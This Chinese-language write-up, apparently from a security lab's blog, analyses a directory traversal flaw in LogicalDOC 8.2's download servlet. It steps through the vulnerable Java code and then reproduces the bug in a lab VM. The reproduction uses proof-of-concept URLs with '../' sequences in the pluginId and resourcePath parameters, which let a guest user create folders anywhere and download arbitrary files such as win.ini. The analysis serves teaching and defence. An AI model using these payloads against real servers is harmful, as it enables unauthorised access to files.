hello~我是掌控安全实验室的Mss,欢迎关注我们的从CVE分析学漏洞专栏,以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析,现在点击即可关注。
LogicalDOC是一家全球性软件公司,提供基于Java的专为公司管理和共享文件而设计的文档管理系统。而在其发布的8.2中存在目录遍历漏洞。
目录遍历其实是中间键的一个功能选项,用于共享文件,但由于管理员的疏忽或经验不足,在网站中开启了这项功能,那么用户就可以通过目录的形式访问网站中的文件,这就是一个不折不扣的大漏洞了。
Web服务器主要提供两个级别的安全机制:
- 访问控制列表
- 根目录访问
访问控制列表是用于授权过程的,它是一个Web服务器的管理员用来说明什么用户或用户组能够在服务器上访问、修改和执行某些文件的列表,同时也包含了其他的一些访问权限内容。
根目录是服务器文件系统中一个特定目录,它往往是一个限制,用户无法访问位于这个目录之上的任何内容。利用这个漏洞,攻击者能够走出服务器的根目录,从而访问到文件系统的其他部分,譬如攻击者就能够看到一些受限制的文件,或者更危险的,攻击者能够执行一些造成整个系统崩溃的指令。
而在LogicalDOC的今年(2019.1.25)发布的8.2版本中,攻击者只要成为一个拥有只读权限的guest用户,就可以在服务器上任意创建目录,任意下载文件。在后续版本中,这个漏洞已经被修复。
本文将从 代码分析、漏洞利用 和 漏洞复现 三个方面介绍这个漏洞。
代码分析
RIPS发布了最新的RIPS 3.0,它支持Java代码分析,它在30分钟内扫描分析了LogicalDOC 8.2大约200,000条代码,并将生成的RIPS扫描报告公布出来。
接下来的文章将围绕此报告展开。
分析显示,LogicalDOC的DownloadServlet出了问题,这个servlet是用户下载文件的接口,它会调用一个名为downloadPluginResource()的函数,这个函数允许下载插件目录中已安装的插件文件,但是由于没有对输入的参数过滤,导致攻击者可以利用目录遍历进行任意文件下载。下面的是DownloadServlet的部分内容,它继承了Java的HttpServlet类。其中,doGet()函数会处理通过get方式访问这个serverlet的请求。我们可以看到downloadPluginResouse()函数一共有6个参数,其中后面的三个参数是通过request中获取到的,分别是pluginId,resourcePath和fileName(第7-9行)。
com.logicaldoc.web.DownloadServlet
public class DownloadServlet extends HttpServlet
{
⋮
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
⋮
ServletUtil.downloadPluginResource(request, response, session.getSid(),
request.getParameter("pluginId"), request.getParameter("resourcePath"),
request.getParameter("fileName")); //以get方式接收pluginId,resourcePath和fileName
⋮
}
}
注意: 在下面的代码中,在函数downloadPluginResource()的第5行,pluginId变成了pluginName,这意味着我们可以通过控制GET传入的pluginId来控制pluginName(可以理解为GET传入的pluginId赋值给变量pluginName)。在第8行,未经过处理的参数传给了PluginRegistry类的getPluginResource()函数。
在第13行应用程序创建了一个用于读取文件的输入流(FileInputStream),并在第19行创建一个用于写出数据的输出流(OutputStream),然后在HTTTP响应中返回给客户端。说简单点,就是在第8行读取file文件,然后通过第19行的处理可以将这个file返回给客户端。
com.logicaldoc.web.util.ServletUtil
public class ServletUtil
{
⋮
public static void downloadPluginResource(HttpServletRequest request,
HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName) //之前的pluginId变成了pluginName
{
⋮
File file = PluginRegistry.getPluginResource(pluginName, resourcePath); //变量未经处理直接传入
String mimetype = MimeType.getByFilename(filename);
InputStream is = null;
ServletOutputStream os = null;
is = new FileInputStream(file); //创建一个用于读取文件的输入流
os = response.getOutputStream();
int letter = false;
byte[] buffer = new byte[131072];
while((letter = is.read(buffer)) != -1)
{
os.write(buffer, 0, letter); //创建一个用于写出数据的输出流
}
⋮
}
}
那么问题来了,如果我们可以控制变量file,那么我们不是就可以做到任意文件下载呢?
查看PluginRegistry函数,注意: 在第一行中resourcePath变成了path。这里变量path没有经过处理直接传给第4行中的java.io.File,构成了文件的路径。
com.logicaldoc.util.plugin.PluginRegistry
public static File getPluginResource(String pluginName, String path) //resourcePath变成了path
{
File root = getPluginHome(pluginName);
File resource = new File(root.getPath() + "/" + path); //确定文件的路径
if (!resource.exists() && !path.contains(".")) //判断文件是否存在,如果不存在,创建
{
FileUtils.forceMkdir(resource);
}
return resource;
}
在测试时发现并不能直接进行任意文件下载,于是注意到getPluginHome()函数。这里同样没有对输入的变量pluginName进行验证或过滤。这段代码的意思是进入插件所在的文件夹,如果不存在,则创建这个文件夹。
com.logicaldoc.util.plugin.PluginRegistry
public static File getPluginHome(String pluginName)
{
File root = getPluginsDir();
File userDir = new File(root, pluginName);
if (!userDir.exists()) //判断文件夹是否存在,如果不存在,创建
{
FileUtils.forceMkdir(userDir);
}
return userDir;
}
利用
通过代码分析可知,变量pluginName可以让我们进入 指点文件夹 或者在 任意一个位置创建一个文件夹 ,通过控制变量path我们可以控制我们想要 下载的文件名(路径) 。
注意: 在我们分析的第一段代码中,通过get方式接收了三个参数 pluginId,resourcePath和fileName。
ServletUtil.downloadPluginResource(request, response, session.getSid(),
request.getParameter("pluginId"), request.getParameter("resourcePath"),
request.getParameter("fileName"));
在我们分析的第二段代码中,pluginId变成了pluginName。
public static void downloadPluginResource(HttpServletRequest request,
HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName)
同时注意在第二段代码和第三段代码中getPluginResource()的区别:
getPluginResource(pluginName, resourcePath);
getPluginResource(String pluginName, String path)
变量resourcePath变成了path。
综上所述只要我们控制了resourcePath和pluginId就能达到我们的目的。
通过分析Web应用程序的web.xml文件,我们可以修改URL中传入/download的参数来达到我们的目的。
web.xml
⋮
<servlet>
<servlet-name>Download</servlet-name>
<servlet-class>com.logicaldoc.web.DownloadServlet</servlet-class>
</servlet>
⋮
<servlet-mapping>
<servlet-name>Download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
⋮
综上, 任意文件夹创建poc:/download?pluginId=../../xxx/xxx 任意文件下载poc:/download?resourcePath=文件名&pluginId=../../../../../../../xx/xx (../只是为了跳转到系统根目录,所以加了尽可能多的../)
复现
操作系统:windows 10(mac,linux都可以)虚拟机 IP:192.168.52.135 运行环境:JAVA 11 软件版本:LogicalDOC 8.2 (WINDOWS)
step 1:安装
下载安装所需软件,一路默认安装,安装完成之后,点击桌面的 LogicalDOC ,默认端口为8080,注意,这个版本可能需要激活码,可以免费申请一个30天的试用码。
step 2:创建用户
依次点开 管理-安全-用户-添加用户(按要求添加用户,分组为guest,在用户名上右键修改密码)。 如图,我创建了一个名为test1的用户。
![avatar][step2.1]
step3 构造poc:
这张图是C盘的根目录,我将利用/download?pluginId=../../../../../../掌控安全学院在这个地方创建一个名为 掌控安全学院 的文件夹
用test1账户登录,在url栏输入 http://192.168.52.135:8080/download?pluginId=../../../../../../掌控安全学院 ![avatar][step3.2]
在C盘windows目录下有一个win.ini文件,我将利用/download?resourcePath=win.ini&pluginId=../../../../../../../Windows下载这个文件。
在url栏输入 http://192.168.52.135:8080/download?resourcePath=win.ini&pluginId=../../../../../../../Windows
注意
上面的../的目的是为了调到根目录,因为不知道当前所在的路径,所以尽可能多的使用../调到根目录,此外任意文件下载是由resourcePath和pluginId共同决定的,因此上面的poc也可以写成/download?resourcePath=Windows/win.ini&pluginId=../../../../../../../;另外,如果是一个不存在文件,也会提示下载,但是大小显示为0。
文末
欢迎关注我们的从CVE分析学漏洞专栏,以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析。现在扫码添加客服微信,即可收到活动及福利通知哦。